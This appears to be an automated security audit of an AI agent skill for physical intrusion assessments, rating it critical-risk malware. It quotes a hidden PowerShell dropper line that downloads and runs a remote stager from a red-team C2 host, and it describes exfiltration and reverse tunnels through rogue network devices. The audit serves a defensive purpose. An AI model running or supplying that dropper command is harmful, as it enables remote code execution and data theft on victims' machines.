skills/mukul975/anthropic-cybersecurity-skills/performing-physical-intrusion-assessment/Gen Agent Trust Hub
performing-physical-intrusion-assessment
Fail
Audited by Gen Agent Trust Hub on Sep 17, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONINDIRECT_PROMPT_INJECTIONDYNAMIC_EXECUTIONEXTERNAL_DOWNLOADS
Full Analysis
- [REMOTE_CODE_EXECUTION]: The SKILL.md file contains a PowerShell command snippet designed for a USB Rubber Ducky (powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('https://c2.redteam.com/stager.ps1')") that was explicitly flagged as a dropper by automated malware scanners.
- [COMMAND_EXECUTION]: The use of the IEX cmdlet in the provided payload example allows for the dynamic execution of arbitrary code retrieved from remote network locations.
- [DATA_EXFILTRATION]: Guidance for setting up rogue devices like the LAN Turtle and WiFi Pineapple specifies c2.redteam.com as the target for exfiltrating data and creating reverse tunnels.
- [DYNAMIC_EXECUTION]: The skill provides instructions for runtime retrieval and execution of remote scripts, which constitutes a high-risk dynamic code execution vector.
- [INDIRECT_PROMPT_INJECTION]: The Python scripts process external CSV files without sanitization or boundary markers, creating a vulnerability surface. * Ingestion points: scripts/agent.py and scripts/process.py read CSV data via command-line arguments. * Boundary markers: No markers are defined to isolate untrusted data. * Capability inventory: Scripts perform file reads and generate structured summaries based on the input. * Sanitization: No input-time validation or filtering is performed.
- [EXTERNAL_DOWNLOADS]: The skill documents the automated download of external scripts from untrusted/unvetted domains.
Recommendations
- CRITICAL: 1 infected file(s) detected - DO NOT USE
- CRITICAL: 1 file(s) identified as malware by FileRep - DO NOT USE
- AI detected serious security threats
Audit Metadata